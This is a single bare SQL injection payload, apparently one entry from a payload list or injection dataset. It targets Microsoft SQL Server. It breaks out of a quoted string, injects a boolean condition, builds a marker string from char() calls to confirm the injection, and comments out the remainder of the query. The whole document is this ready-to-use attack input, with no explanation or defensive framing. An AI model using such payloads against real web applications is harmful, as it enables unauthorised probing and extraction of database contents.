1" )  as xylo where 2112 = 2112 and 3715 in   (  (  char ( 113 ) +char ( 113 ) +char ( 112 ) +char ( 106 ) +char ( 113 ) + ( select  ( case when  ( 3715 = 3715 )  then char ( 49 )  else char ( 48 )  end  )  )  +char ( 113 ) +char ( 122 ) +char ( 118 ) +char ( 122 ) +char ( 113  )  )   ) --